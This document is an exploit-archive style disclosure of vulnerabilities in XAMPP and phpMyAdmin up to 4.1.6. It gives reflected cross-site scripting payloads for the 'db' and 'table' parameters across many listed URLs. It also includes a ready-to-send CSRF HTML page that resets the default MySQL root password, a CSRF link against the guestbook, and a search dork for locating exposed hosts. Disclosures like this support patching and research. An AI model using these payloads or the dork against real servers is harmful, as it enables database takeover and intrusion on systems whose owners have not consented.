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# [x] XAMPP & phpMyAdmin <= 4.1.6 multiple vulnerabilites
# [x] Author : Mayank Kapoor(@wHys0SerI0s) Sujoy Chakravarti(@sujoy3188), Gurjant Singh Sadhra(@GurjantSadhra)
# [x] Contact : [email protected], [email protected], [email protected]
# [+] Download : http://www.apachefriends.org/en/xampp-windows.html
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# [x] Exploit :
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[1] phpMyAdmin is vulnerable to a cross site scripting attack.
# The vulnerability exists within the phpMyAdmin module supplied by XAMPP.
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# 1. Cross Site Scripting
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# In the phpMyAdmin module of the XAMPP application the following urls are vulnerable to cross site scripting attacks. The "db" parameter can be passed with
# { >"'><img src="javascript:alert(311050)"> } in the url resulting in a reflected cross site scripting attack. The file "c:\xampp\phpMyAdmin\libraries\db_table_exists.lib.php"
# checks if the "db" parameter is a valid database name or not (line 13-18).
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    if (empty($is_db)) {
        if (strlen($db)) {
        $is_db = @$GLOBALS['dbi']->selectDb($db);
        } else {
        $is_db = false;
        }
 
 
# Vulnerable parameter: "db"
# http://[host]/phpmyadmin/chk_rel.php?db=>"'><img src="javascript:alert(311050)">&token=6026d96cfcb8993f744a00809536dc8b&goto=db_operations.php
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# Multiple URL's afected:
  http://[host]/phpmyadmin/db_printview.php
  http://[host]/phpmyadmin/index.php
  http://[host]/phpmyadmin/pmd_general.php
  http://[host]/phpmyadmin/prefs_manage.php
  http://[host]/phpmyadmin/server_collations.php
  http://[host]/phpmyadmin/server_databases.php
  http://[host]/phpmyadmin/server_engines.php
  http://[host]/phpmyadmin/server_export.php
  http://[host]/phpmyadmin/server_import.php
  http://[host]/phpmyadmin/server_privileges.php
  http://[host]/phpmyadmin/server_replication.php
  http://[host]/phpmyadmin/server_sql.php
  http://[host]/phpmyadmin/server_status.php
  http://[host]/phpmyadmin/server_variables.php
  http://[host]/phpmyadmin/sql.php
  http://[host]/phpmyadmin/tbl_create.php
 
# Vulnerable parameter: "table"
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# Similar to the above mentioned vulnerability, here the "table" parameter also can be submitted with { >"'><img src="javascript:alert(311050)"> } in the url resulting in a reflected cross site scripting attack.
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# Multiple URL's afected:
 
 http://[host]/phpmyadmin/tbl_select.php?db=information_schema&token=6026d96cfcb8993f744a00809536dc8b&goto=db_structure.php&table=>"'><img src="javascript:alert(347790)">#PMAURL-0:tbl_select.php?db=information_schema&table=>"'><img+src="javascript:alert(347790)">&server=1&target=&lang=en&collation_connection=utf8mb4_general_ci&token=529d5dba2f3dd12daf48aa38596e1708
 
 http://[host]/phpmyadmin/tbl_structure.php
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# 2. Cross Site Request Forgery
# After installing XAMPP the default password for MySQL is blank with the default user being "root". In the link "http://localhost/security/xamppsecurity.php" there is an option to change
# the MySQL password for the user "root". The form that submits the new password is not authenticated with a token or any such XSRF protection. The below html page can be sent to the victim,
 
    <html>
    <script>
    document.getElementById("xampp").submit();
    </script>
      <body onload="run_once()">
        <form id="xampp" action="http://localhost/security/xamppsecurity.php" method="POST">
          <input type="hidden" name="mypasswd" value="[email protected]" />
          <input type="hidden" name="mypasswdrepeat" value="[email protected]" />
          <input type="hidden" name="authphpmyadmin" value="cookie" />
          <input type="hidden" name="changing" value="Password changing" />
          <input type="hidden" name="xamppuser" value="" />
          <input type="hidden" name="xampppasswd" value="" />
          <input type="submit" value="Click here" />
        </form>
      </body>
    </html>
 
# thus succesfully changing the password to "[email protected]". This will only work if the password has never been changed since installation.
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# Another location in the XAMPP application vulnerable to Cross site request forgery is the guestbook section http://localhost/xampp/guestbook-en.pl .
 
 http://localhost/xampp/guestbook-en.pl?f_name=spam&f_email=spam&f_text=spam
 
 dork: "inurl:xampp/guestbook-en.pl"
 
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